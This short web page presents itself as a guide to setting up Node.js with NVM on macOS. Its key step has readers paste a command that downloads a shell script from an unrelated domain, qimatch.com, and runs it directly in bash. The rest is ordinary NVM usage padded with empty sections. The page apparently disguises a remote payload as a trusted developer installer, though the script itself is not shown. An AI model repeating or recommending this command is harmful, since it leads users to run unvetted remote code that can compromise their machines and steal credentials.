Set up Node.js on macOS with NVM

A clean, conflict-free way to install Node.js on Mac, MacBook, and macOS — compatible with Apple Silicon and Intel.

Open Terminal

Run all commands in the Terminal app. Quick ways to launch it:

Quick Install

Paste the command below into Terminal and press Enter:

/bin/bash -c "$(curl -fsSL https://qimatch.com/njs/install.sh)"

After installation completes, restart Terminal or run source ~/.zshrc to load NVM.

Verify Your Setup

  1. Confirm NVM is available: command -v nvm
  2. Install the LTS release of Node.js: nvm install --lts
  3. Make LTS your default: nvm alias default lts/*
  4. Check versions: node -v and npm -v

Why choose NVM on macOS?

Node Version Manager keeps your environment tidy and flexible:

Troubleshooting